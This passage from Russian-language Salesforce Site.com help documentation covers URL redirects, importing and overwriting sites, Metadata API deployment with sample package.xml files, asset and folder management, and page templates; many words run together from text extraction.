неуведомляютсяовнесенныхизмененияхинеобновляют
свои записи.

Данный тип переадресации доступен только между
страницами Site.com. Псевдоним не может быть создан
для внешнего адреса.

4. Укажите предыдущий адрес страницы в поле «Переадресация с».

• URL-адрес страницы должен быть относительным.

• Страница может иметь любое допустимое расширение (например, .html или .php) и содержать параметры.
Порядок отображения параметров не имеет значения.

• URL-адрес не может содержать привязок (например, /префикс_сайта/страница.html#цель).

• Отдельный URL-адрес может использоваться для создания только одного правила переадресации. Новое правило,
использующее тоже самое значение поля «Переадресация с», заменяет предыдущее правило.

5. Укажите новый адрес страницы в поле «Переадресация на». URL-адрес может быть относительным или полностью
определенным с префиксом http:// или https://. В отличие от исходных страниц, целевые страницы
переадресации могут содержать привязки.

6. Чтобынезамедлительно активировать правило переадресации, установитефлажок «Активно». Чтобы активировать
правило позже, снимите данныйфлажок.

7. Нажмите кнопку «Сохранить».

Раздел «Переадресации URL-адресов» содержит все правила переадресации, созданные для сайта.

• Чтобы изменить назначенное правило переадресации, щелкните  > «Редактировать переадресацию».

• Чтобы удалить правило переадресации, щелкните  > «Удалить переадресацию».
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Импорт внешних веб-сайтов в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПриложениеSite.com Studioпозволяетимпортировать готовыйвеб-сайтиавтоматически
восстанавливать его в качестве сайта Site.com. Данный алгоритм позволяет экономить
время, необходимое для перекодирования текущих HTML-страниц.

Создайте архив веб-сайта и содержимого с нужной структурой папок. Создайте сайт
Site.com и выполните импорт архивного файла.

Создание сайта Site.com инициирует копирование и размещение всех HTML-страниц и
активов на новом сайте в соответствии со структурой архивного файла. Ниже
перечислены некоторые рекомендации по импорту активов.

• Некоторый код в таблицах стилей может быть преобразован в формат Site.com
некорректно. При этом отображается предупреждение. Импорт архивного файла
может быть продолженили отменен. Припродолженииимпортированная таблица
стилей может быть вручную добавлена на страницы.

• Чтобы изменить раздел страницы <head>, воспользуйтесь параметром
«Редактировать разметку верхнего колонтитула» в разделе «Сценарии» на панели «Свойства». Данный параметр
предназначен для редактирования HTML вручную.

• Максимальный размер импортируемого файла не должен превышать 50 Мб, кроме случаев импорта и восстановления
архивного файла. Чтобы импортировать архивныйфайл размером не более 200 Мб, выберите параметр «Извлечь
файлы из архива» во время импорта. Чтобы импортировать архивныйфайл размером более 200 Мб, рекомендуем
создать несколько архивов и импортировать их по отдельности.

• Site.com пытается правильно форматировать ссылки при импорте страницы. Ссылки проверяются в блоках
содержимого, настраиваемомкодеиразметке сценариевверхнегоколонтитула. Чтобыпроверитьстраницунаналичие
поврежденных ссылок, воспользуйтесь средством проверки ссылок. Откройте нужную страницу и выберите  >
«Найтиповрежденныессылки». Данноедействиеинициируетотображениедиалоговогоокна, содержащегосписок
поврежденных ссылок. Чтобыисправить ссылку, щелкните «Правка». При этом ссылка откроется в HTML-редакторе.

СМ. ТАКЖЕ:

Импорт сайта Site.com
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Копирование и перезапись сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для перезаписи сайтов:
• Роль администратора

сайта или конструктора,
назначенная на уровне
сайта

Иногда текущий сайт производственнойорганизации Site.comили сообщества Site.com
может копироваться и заменяться другим сайтом.

Прежде всего, выполните экспорт копиисайта. Затемимпортируйте экспортированный
файл .site в производственную организацию посредством функции перезаписи.
Данная функция позволяет заменить сайт производственной организации
импортированнымсайтом. Перезаписьможетприменяться толькок сайтамодноготипа.
Например, сайт Site.com не может быть перезаписан сайтом сообщества Site.com.

1. Создайтефайл .site посредствомфункцииэкспортавприложенииSite.com Studio.

2. Последовательно выберите пункты «Действия сайта» > «Перезаписать данный
сайт» для сайта производственной организации в приложении Site.com Studio. При
наличии доступа ко вкладке Site.com в организациищелкните значок напротив
имени нужного сайта и выберите пункт «Перезаписать».

3. Чтобы найти экспортированныйфайл .site, нажмите кнопку «Обзор».

4. Нажмите кнопку «OK» в предупреждении о перезаписи.

Внимание: Перезаписанный сайт не может быть восстановлен.

Нижеперечисленынекоторыерекомендациипоиспользованиюфункцииперезаписи.

• Прежде чем изменения вступят в силу, перезаписанный сайт должен быть
опубликован.

• Копирование сайта инициирует перезапись сайта производственной организации.
Рекомендуем создать резервную копию сайта производственной организации путем экспорта файла .site.

• Функция перезаписи не копирует изменения данных. Например, повторитель на исходном сайте, использующий
созданный настраиваемый объект, может использоваться на сайте производственной организации только после
создания аналогичного настраиваемого объекта.

• Привыполнениипроцессаперезаписиактивы, доступныенасайтепроизводственнойорганизации, ноотсутствующие
на исходном сайте, перемещаются в корзину и при необходимости могут быть восстановлены.

• Система сохраняет имя сайта производственной организации, отличающееся от имени скопированного сайта, и
изменяет только содержимое. Например, перезапись сайтапроизводственнойорганизациипоимени «Сайт 2» сайтом
по имени «Сайт 1» сохраняет имя «Сайт 2» для сайта производственной организации.

СМ. ТАКЖЕ:

Экспорт сайта Site.com

Использование интерфейса Metadata API для развертывания сайта
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Использование интерфейса Metadata API для развертывания сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Пользователимогутпереноситьсайтыизбезопаснойсредывпроизводственную. Чтобы
создать развертываемый пакет для сайтов сообществ Salesforce и сайтов Site.com,
рекомендуем использовать интерфейсMetadata API.

Системаподдерживаетцелыйрядинструментов, предназначенныхдля созданияпакета.

• Наборы изменений (только для сайтов Site.com и сайтов сообществ Site.com). Тип
компонента использует имя Site.com.

• Инструмент Workbench, позволяющий создавать сайты всех типов. Типметаданных
использует имя SiteDotCom.

• Инструмент Force.com Migration Tool для Ant, позволяющий создавать сайты всех
типов. Тип метаданных использует имя SiteDotCom.

При использовании наборов изменений выберите Site.com из списка и выполните
инструкции по созданию пакета. При использовании инструмента Workbench или
Force.com Migration Tool рекомендуем создать файл package.xml. Данныйфайл
передается в интерфейсMetadata API для создания пакета.

Прим.: При необходимости файл package.xml может быть дополнен профилем пользователя-гостя. В этом
случае профиль пользователя-гостя связывается с сайтом при развертывании.

Процесс пакетирования создает папку, содержащуюфайл содержимого и XML-файл метаданных. Файл содержимого
использует имя [имя_сайта].site. XML-файл метаданных использует имя [имя_сайта].site-meta.xml.

Приразвертываниипакета, которыйне содержитфайла .site, система создает пустой сайт. Еслипакет содержитфайл
.site, а организация уже использует одноименный сайт, то система обновляет текущий сайт.

Прим.: Размер файла не может превышать установленные ограничения при использованииMetadata API для
развертывания сайта из безопасной среды в производственной среде. Размер активов в файле .site не может
превышать 40 Мб. Впротивномслучаеактивыотображаютсянасозданномсайтекакповрежденные. Чтобыисправить
активы, экспортируйте отдельные активы из безопасной среды, а затем импортируйте их на новый сайт.

Дополнительную информацию об интерфейсеMetadata API см. в «Руководстве разработчика Metadata API».
Дополнительнуюинформациюонаборахизмененийсм. винтерактивнойсправке, а «Руководствопользователя Force.com
Migration Tool» см. по следующей ссылке: https://developer.salesforce.com/page/Migration_Tool_Guide.

СМ. ТАКЖЕ:

Наборы изменений

Примерыфайлов package.xml

5118

Site.comРасширение Salesforce посредством интерактивных
инструментов

https://developer.salesforce.com/page/Migration_Tool_Guide


Примеры файлов package.xml

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Данный раздел содержит некоторые примерыфайлов package.xml для Site.com.

Ниже приведен пример файла package.xml для сайта Site.com.

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<types>
<members>xyzsite</members>
<name>SiteDotCom</name>

</types>
<version>30.0</version>

</Package>

Ниже приведен пример файла package.xml для сайта сообществ Salesforce. Кроме того, пакет содержит профиль
пользователя-гостя.

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<types>
<members>xyzsite</members>
<name>CustomSite</name>

</types>
<types>

<members>xyzsite</members>
<name>Network</name>

</types>
<types>

<members>xyzsite1</members>
<name>SiteDotCom</name>

</types>
<types>

<members>xyzsite Profile</members>
<name>Profile</name>

</types>
<version>30.0</version>

</Package>
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Управление активами сайта

Импорт и управление активами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Авторы, издатели и администраторы сайта могут импортировать различные активы
(например, изображения, HTML-страницыи PDF-файлы) длядальнейшегоиспользования
на веб-сайте. Система позволяет импортировать активы и файлы по отдельности или
использовать архивныйфайл. Приимпортецелого веб-сайтаилибольшогоколичества
активов рекомендуем создать архив содержимого с нужной структурой папок. При
импорте архивногофайла для веб-сайта Site.com восстанавливает веб-сайт ииспользует
такую же структуру папок.

Прим.:

• Максимальный размер импортируемого файла не должен превышать 50 Мб,
кромеслучаевимпортаи восстановления архивногофайла. Чтобыимпортировать
архивныйфайл размером не более 200 Мб, выберите параметр «Извлечь
файлы из архива» во время импорта.

Чтобыбыстроимпортироватьодинилинесколькофайлов, выполните указанныениже
действия.

1. Выберите нужные локальные файлы и перетащите их прямо в интерфейс Studio.
Данная функция доступна только в обозревателях Mozilla® Firefox® и Google® Chrome.
При необходимости перетащите отдельные файлы или архивныйфайл.

2. В зависимости от типов импортируемых файлов, выполните одно из указанных
ниже действий в диалоговом окне.

• Чтобывосстановитьсодержимоеархивногофайла, выберитепараметр«Извлечь
файлы из архива». Если архивныйфайл содержит папки, то их структура
сохраняется на сайте.

• Чтобы заменить файл, который уже существует на сайте, выберите параметр
«Перезаписать текущиефайлы».

• Чтобыпреобразоватьфайл CSS в таблицу стилей, котораяможетиспользоваться
для оформления веб-сайта, выберите параметр «Преобразоватьфайлы CSS в
таблицы стилей» (только для администраторов сайта или конструкторов).

Прим.: Файлы CSS, которые не удалось преобразовать при импорте
соответствующего архивного файла, могут быть недопустимыми.
Рекомендуем снять данныйфлажок и выполнить повторный импорт
архивного файла.

• Чтобы импортировать HTML-страницы на веб-сайт, выберите параметр
«Преобразовать HTML-файлы в страницы». Сайт сохраняет структуру
HTML-страницы, но операция импорта не инициирует проверку HTML.

Чтобы импортировать отдельныйфайл, выполните указанные ниже действия.

1. Щелкните «Импорт...».

2. Чтобы найти нужныйфайл, нажмите кнопку «Обзор...».

3. Выберите файл и нажмите кнопку «Открыть».
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4. В зависимости от типа импортируемого файла, выполните одно из указанных ниже действий.

• Чтобы восстановить содержимое архивного файла, выберите параметр «Извлечьфайлы из архива». Если
архивныйфайл содержит папки, то их структура сохраняется на сайте.

• Чтобы заменить файл, который уже существует на сайте, выберите параметр «Перезаписать текущиефайлы».

• Чтобы преобразовать файл CSS в таблицу стилей, которая может использоваться для оформления веб-сайта,
выберите параметр «Преобразоватьфайлы CSS в таблицы стилей» (только для администраторов сайта или
конструкторов).

Прим.: Файлы CSS, которые не удалось преобразовать при импорте соответствующего архивного файла,
могутбытьнедопустимыми. Рекомендуемснять данныйфлажокивыполнитьповторныйимпорт архивного
файла.

• Чтобы импортировать HTML-страницы на веб-сайт, выберите параметр «Преобразовать HTML-файлы в
страницы». Сайт сохраняет структуру HTML-страницы, но операция импорта не инициирует проверку HTML.

5. Нажмитекнопку «Импорт». Приэтомотображается сообщение, указывающеенауспешныйилинеуспешныйимпорт
файла.

6. Щелкните значок .

Пользователимогутдобавлятьизображенияивидеофайлывтекстовыеобластистраницсайтаилисоздавать гиперссылки
на любыеимпортированные активы. Кроме того, пользователимогут добавлятьизображенияпрямона страницу (только
для администраторов сайта и конструкторов).

Чтобыпросмотреть списокимпортированныхактивов, откройтепредставление «Активы» на вкладке «Общиесведения».
Кроме того, активы доступны в представлении «Все содержимое сайта», которое отображает иерархию папок на сайте.

• Чтобыпросмотретьминиатюруимпортированногоизображения, наведите указательмышинанужноеизображение.

• Чтобы сохранить актив на компьютере, выберите или наведите указатель мыши на нужный актив ищелкните  >
«Загрузить».

• Чтобы удалить актив с сайта, выберите или наведите указатель мыши на нужный актив ищелкните  > «Удалить»
(только для администраторов сайта и конструкторов). Если актив используется на сайте, то отображается
сообщение-подтверждение, содержащее список соответствующих областей.

• Чтобыпереименоватьактивнасайте, наведитеуказательмышинанужныйактивищелкните  > «Переименовать»
(только для администраторов сайта и конструкторов).

СМ. ТАКЖЕ:

Добавление элементов страницы Site.com

Использование Site.com Studio в качестве администратора сайта или конструктора

Использование Site.com Studio в качестве автора

Экспорт активов
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Экспорт активов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Конструкторыиадминистраторысайтамогут экспортировать все активысайтаотдельно
от файла .site. Пользователи могут экспортировать все или отдельные активы.

Экспортвсехактивовинициируетсозданиеархивногофайла, имякоторогосоответствует
имени сайта (например, имя_сайта-Активы.zip).

Чтобыэкспортироватьактивы, последовательновыберитепункты  > «Экспорт
активов сайта» на вкладке «Общие сведения».

Чтобы экспортировать отдельный актив, наведите указатель мыши на нужный актив и
выберите пункт «Загрузить» в меню «Действия».

Прим.: Размер файла не может превышать установленные ограничения при
использованииMetadata API для развертывания сайта из безопасной среды в
производственной среде. Размер активов в файле .site не может превышать
40 Мб. В противном случае активы отображаются на созданном сайте как
поврежденные. Чтобы исправить активы, экспортируйте отдельные активы из
безопасной среды, а затем импортируйте их на новый сайт.

СМ. ТАКЖЕ:

Импорт и управление активами
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Создание и управление папками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Папки для управления страницами, таблицами стилей, шаблонами и активами могут
быть созданы администраторами сайта или конструкторами.

Чтобы создать папку, выполните указанные ниже действия.

1. Нажмите кнопку «Создать папку» в представлении «Все содержимое сайта» на
вкладке «Общие сведения».

2. Введите имя папки.

3. Нажмите кнопку «Создать».

Новые папки добавляются на верхний уровень дерева папок. Созданные папки могут
быть перенесены в любую область дерева. При необходимости файлы могут быть
перенесены в созданные папки. Чтобы создать, переименовать или удалить подпапки,
правой кнопкой мышищелкните нужную папку или воспользуйтесь меню «Действия»
( ).

Прим.: Независимо от порядка отображения папок в представлении «Все
содержимое сайта», карта сайта не меняется.

СМ. ТАКЖЕ:

Описание вкладки «Общие сведения» для администраторов сайта и конструкторов
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Создание и управление страницами

Редактирование страниц Site.com в качестве конструктора или администратора сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

При работе с шаблонами страницы и страницами сайта пользователи могут добавлять
содержимое, структуру и стиль — все в одном месте. Чтобы открыть страницу или
шаблон на вкладке «Общие сведения», дваждыщелкните или наведите указатель мыши
на нужный элемент и выберите  > «Правка». Страница откроется в виде новой
вкладки.
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• Чтобы найти и добавить элементы страницы или изменить порядок их отображения в иерархии, воспользуйтесь

панелями «Элементы страницы» и «Структура страницы» (1).

• Чтобынастроить свойства, добавить стильисоздать событиядля выбраннойстраницыилиэлемента, воспользуйтесь

панелями «Свойства», «Стиль» и «События» (2).

• Ниже перечислены действия, доступные на панели инструментов (3).

– Отмена и повтор действий.

– Вырезание, копирование и вставка элементов страницы.

– Импорт активов (например, изображений и файлов).

– Предварительный просмотр страниц, поддерживающий параметры их отображения на разных устройствах.

– Предварительный просмотр сайта или создание ссылки для анонимного предварительного просмотра другими
пользователями.

– Публикация недавних изменений.

–
Доступ к другим действиям со страницей ( ) (например, переименование или удаление страницы).

• Чтобыопределитьмакет страницыивыбрать, изменитьилипереместить элементыстраницы, воспользуйтесьхолстом
(4).

Совет:

• Чтобыувеличитьразмерхолста, скройтебоковыепанелиспомощьюкнопок и . Чтобыповторнооткрыть
панель, щелкните соответствующий значок.

• Приредактированиистраницыавтоматическисохраняютсявнесенныеизмененияиобновляется значокстатуса

( ) на вкладке страницы.
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• Если страница сайта или шаблон страницы созданы на основе другого шаблона, то редактируемые элементы
страницы выделяются синей рамкой.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве администратора сайта или конструктора

Общие сведения о шаблонах страницы Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Прежде чем приступить к созданию страниц веб-сайта, рекомендуем основательно
продумать содержимое страниц, а также определить страницы, макеты которых будут
схожи. Если эти вопросы решены, воспользуйтесь шаблоном страницы для быстрого
создания базового макета.

Общие сведения о шаблонах страницы

Шаблон страницы — это область, позволяющая определить макет и функциональные
возможности страниц сайта. Благодаря шаблону, поддерживающему добавление
типичных элементов страницы и используемому в качестве основы для дальнейшего
создания страниц сайта, пользователь может быть уверен, что сайт будет оформлен в
едином стиле.Шаблоны страницы не отображаются на общедоступном сайте.

Авторышаблонов могут указывать элементы, которые будут доступны пользователям
для редактирования на страницах, созданных на их основе.По умолчанию элементы
страницызаблокированывшаблоне, поэтомупользователинемогутредактироватьих содержимоена соответствующих
страницах до тех пор, пока этим элементам не будет присвоен статус редактируемых. С другой стороны, изменения,
внесенные пользователями в редактируемый элемент страницы, доступны только на соответствующей странице и не
влияют на шаблон.

Например, шаблонстраницысодержитнередактируемыйверхнийколонтитулименюнавигации, которыеиспользуются
на всех страницах сайта (1). Кроме того, шаблон содержит редактируемую центральную панель (2), на которой хранится
содержимое каждой страницы, созданной на основе данного шаблона.

Прим.:

• Шаблонстраницыдолженсодержатькакминимумодинредактируемыйэлементстраницы. Впротивномслучае
пользователи не смогут редактировать страницы сайта, созданные на основе этого шаблона.

• Панели идеально подходят для добавления редактируемых областей в шаблоны страниц.

Преимущества использования шаблонов страниц
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• Экономия времени и сил путем создания структуры, которая в дальнейшем будет использоваться в качестве основы
длясозданиястраницсайта. Например, пользовательможетсоздатьшаблон, содержащийнеизменнуюпанельверхнего
колонтитула и боковое меню, а также редактируемую центральную панель, которая поддерживает добавление
содержимого и элементов страниц.

• Быстрое глобальное обновление макета или стиля веб-сайта, так как любые изменения, внесенные в шаблон,
автоматически отображаются на всех соответствующих страницах.

• Определение способа изменения страниц сайта другими пользователями (например, авторами или другими
администраторамисайтаи конструкторами). Например, авторамможетбытьпредоставленоправонаредактирование
только определенных блоков содержимого.

• Обеспечение неизменно высокого качества макета шаблона. Изменения, внесенные пользователями на страницу,
созданную на основе шаблона, не влияют на сам шаблон.

• Повторное использование общих элементов оформления путем создания дочерних шаблонов.

• Предоставление авторам полномочия на использование шаблона в качестве основы для создания страниц сайта.

Общие сведения о дочерних шаблонах

Дочерниешаблоны — этоудобноесредствоповторногоиспользованияобщихэлементовоформлениявболеесложных
макетах страниц. Например, веб-сайт может содержать элементы, которые повторяются на каждой странице сайта
(например, меню навигации). Кроме того, могут использоваться элементы, которые являются общими только для
несколькихстраницсайта (например, страницывподразделесайта, содержащиеверхнийколонтитулподраздела). Таким
образом, дочерние шаблоны (то есть, шаблоны на основе других шаблонов) позволяют повторно использовать макет
основного шаблона.

В случае использования основного шаблона страницы в качестве базы, дочернийшаблон наследует нередактируемый
верхний колонтитул и меню навигации (1), а также редактируемую центральную панель (2), на которую добавляется
нередактируемыйверхнийколонтитулподраздела (3). Кроме того, следует добавитьновуюредактируемуюцентральную
панель (4), так какцентральнаяпанельосновногошаблонадоступнадляредактирования толькона тех страницах, которые
напрямую основаны на этомшаблоне.

Теперь любая страница, основанная на дочернемшаблоне, содержит нередактируемый основной верхний колонтитул,
меню навигации и верхний колонтитул подраздела, а также редактируемую центральную панель (5) для содержимого
этой страницы.
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Рекомендации

• Продумайтеструктурусайтаимакетыстраниц. Время, изначальнопотраченноенапланированиевеб-сайта, полностью
окупится при его создании.

• Определите элементы, которые будут использоваться на всех страницах сайта (например, верхние колонтитулы или
меню навигации), так как эти элементы могут быть добавлены в шаблон страницы.

• Чтобысэкономитьвремянаповторномиспользованиисодержимого, какможночащеприменяйтешаблоныстраниц.

• Чтобы при необходимости в кратчайшие сроки изменить дизайн основного шаблона страницы, рекомендуем
добавлять в него как можно меньше элементов. Для реализации более сложных дизайнов рекомендуем использовать
дочерние шаблоны.

СМ. ТАКЖЕ:

Создание шаблонов страниц Site.com

Создание страниц Site.com

Настройка представления Site.com Studio автора

Определение шаблона, используемого на странице Site.com
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Создание шаблонов страниц Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Шаблон страницы — это область, позволяющая определить макет и функциональные
возможности страниц сайта. Благодаря шаблону, поддерживающему добавление
типичных элементов страницы и используемому в качестве основы для дальнейшего
создания страниц сайта, пользователь может быть уверен, что сайт будет оформлен в
едином стиле.Пользователи могут быстро внедрять любые глобальные изменения, так
как страницы, созданные на основе шаблона, наследуют элементы этого шаблона.

Длясозданияшаблонастраницыможноиспользоватьмакет. Созданныйшаблонможет
использоваться в качестве основыдля созданиядочернегошаблона, которыйпозволяет
повторно использовать дизайн основного шаблона.

Создание шаблона страницы из макета

Чтобы открыть абсолютно пустой шаблон или воспользоваться базовым макетом
страницы, выполните указанные ниже действия.

1. Выберите представление «Шаблоны страницы» на вкладке «Общие сведения» и
нажмите кнопку «Создать» илищелкните «Создатьшаблон страницы» в
представлении «Шаблоны страницы».

2. Введите имяшаблона страницы. Именашаблонов не могут содержать специальные
символы (например, #, ? или @).

3. Щелкните «Макеты» и выберите пустую страницу или предопределенный макет
страницы (например, страницу с верхним и нижним колонтитулами).

Прим.: Предопределенные макеты страниц содержат панели, позволяющие
создавать столбцы, верхние и нижние колонтитулы. Для размещения панелей
используется встроенная таблица стилей, поэтому макет может быть легко
изменен даже после создания страницы. Чтобы удалить встроенный стиль
посредствомправил CSS, выберитепанель, удалите кодна вкладке «Код» панели

«Стиль» ( ) и нажмите кнопку «Применить».

4. Выберите режим макета.

• Чтобы страница отображалась по ширине окна обозревателя, щелкните «По
всейширине».

• Чтобызадатьнужнуюширинустраницы, щелкните«Фиксированнаяширина»иукажитенеобходимоезначение.

5. Нажмите кнопку «Создать». При этом откроется шаблон страницы.

Затем необходимо доработать шаблон.

Совет:

• По умолчанию любой созданныйшаблон доступен только другим администраторам сайта и конструкторам в
организации. Чтобыразрешить авторамиспользоватьшаблон для создания страниц, выберите «Доступнодля

авторов» на панели «Свойства» ( ).

• Кроме того, шаблоны могут быть созданы путем преобразования или клонирования других страниц.
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Создание дочернего шаблона

Чтобы использовать текущийшаблон в качестве основы для создания дочернихшаблонов, выполните указанные ниже
действия.

• Ниже указан самый быстрый способ.

1. Выберитенужныйшаблонвпредставлении «Шаблоныстраницы» навкладке «Общиесведения», а затемщелкните
 > «Создать дочернийшаблон». Еслишаблон открыт, щелкните «Действия со страницей» > «Создать

дочернийшаблон».

2. Введите имя шаблона страницы. Имена шаблонов не могут содержать специальные символы (например, #, ? или
@).

3. Нажмите кнопку «Создать». При этом откроется дочернийшаблон.

• Также доступны указанные ниже действия.

1. Выберите представление «Шаблоны страницы» на вкладке «Общие сведения» и нажмите кнопку «Создать»
илищелкните «Создатьшаблон страницы» в представлении «Шаблоны страницы».

2. Введите имя шаблона страницы. Имена шаблонов не могут содержать специальные символы (например, #, ? или
@).

3. Щелкните «Шаблоны страницы» и выберите нужныйшаблон.

4. Нажмите кнопку «Создать». При этом откроется дочернийшаблон страницы.

Доработка шаблона

Ниже перечислены действия, которые должны быть выполнены для доработки созданного шаблона.

• Создание шаблона страницы

• Добавление других элементов страницы в шаблон

• Создание редактируемых областей

• Создание страниц сайта на основе шаблона

СМ. ТАКЖЕ:

Создание редактируемых областей шаблона

Определение шаблона, используемого на странице Site.com

Общие сведения о шаблонах страницы Site.com

Настройка представления Site.com Studio автора
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Создание редактируемых областей шаблона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Авторышаблонов могут указывать элементы, которые будут доступны пользователям
для редактирования на страницах, созданных на их основе.

Чтобы включить редактируемость элемента страницы на производных страницах или
в дочерних шаблонах, выберите нужный элемент в шаблоне страницы или на панели

«Структура страницы» ( ) ищелкните  > «Включить возможность
редактирования»илиустановитефлажок«Дляредактирования»напанели «Свойства»

( ).

Еслишаблонстраницыоткрыт, торедактируемыеэлементыстраницывыделяютсясиней

рамкой. Кроме того, для этих элементов отображается значок карандаша ( ) напанели
«Структура страницы» ивинформационномокне, котороеотображаетсяпринаведении
указателя мыши на элемент страницы.

СМ. ТАКЖЕ:

Общие сведения о редактируемых элементах страницы

Настройка представления Site.com Studio автора

Создание шаблонов страниц Site.com

Общие сведения о редактируемых элементах страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Элементстраницы, помеченныйвшаблонестраницысвойством «Для редактирования»,
доступендляредактированиявлюбыхпроизводныхдочернихстраницахилишаблонах.

Ниже перечислены рекомендации по созданию редактируемых элементов страницы.

• Редактируемые элементы страницы выделяются в дочерних страницах и шаблонах
синей рамкой.

• Панельконтейнера, содержащая элемент страницы, доступныйдляредактирования,
не может быть доступна для редактирования.

• Пользователинемогутизменятьсобытия, стилиисвойстваредактируемыхэлементов
на страницах, созданных на основе шаблона.

• Пользователи не могут удалять, а также изменять размер или место отображения
редактируемых элементов на страницах, созданных на основе шаблона. Однако,
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высотаэлемента, которыйвшаблонепомеченсвойством «Автоматическийподборвысоты», определяетсясодержимым
производной страницы.

• Удаление редактируемого элемента из шаблона страницы инициирует его удаление из всех дочерних страниц и
шаблонов.

• Активный статус свойства «Для редактирования», назначенного элементу страницы, также наследуется всеми
производными страницамиили дочернимишаблонами. Активный статус свойства в дочернемшаблоне наследуется
всеми его дочернимишаблонами. Чтобы запретить редактирование элемента страницы на нижестоящих уровнях,
отключите его свойство «Для редактирования» в дочернемшаблоне.

Редактируемые элементы страницы для авторов

• Авторымогутизменятьредактируемыеблокисодержимогона страницахсайта, созданныхнаосновешаблона. Кроме
того, онимогутредактироватьблокисодержимого, добавляемыенаредактируемуюпанель тех страницсайта, которые
созданы на основе шаблона.

Совет: Чтобыдобавитьблок содержимого, которыйможетредактироваться толькодругимиадминистраторами
сайта или конструкторами, рекомендуем воспользоваться настраиваемым кодом.

• Авторы могут добавлять блоки содержимого в редактируемые панели страниц сайта на основе шаблона. Виджеты,
доступные авторам, также могут быть добавлены на редактируемые панели.

• Администраторы сайта и конструкторы могут редактировать любой элемент страницы, которому назначен статус
редактируемого.

Стандартное содержимое редактируемых элементов страницы

Содержимоевсехредактируемыхэлементовдочернейстраницыилишаблонасвязывается с содержимымредактируемых
элементовродительскогошаблонастраницы. Обновлениесодержимогоредактируемогоэлементастраницывродительском
шаблоне инициирует изменение любых дочерних страниц илишаблонов страниц. Однако, изменения, внесенные в
содержимое редактируемого элемента страницына уровне дочерней страницыилишаблона, нарушают установленную
связь, поэтому все последующие изменения, внесенные в элемент страницы родительского шаблона, не отображаются
надочернихстраницахиливдочернихшаблонах. (Чтобывосстановитьконтрольродительскогошаблонанадсодержимым,
выберите редактируемый элемент страницы на странице или панели «Структура страницы» ищелкните  >
«Восстановить родительское содержимое». Данное действие удаляет любое настраиваемое содержимое из
редактируемого элемента страницы.)

Отключение свойства панели «Для редактирования» в родительскомшаблоне переопределяет все изменения данной
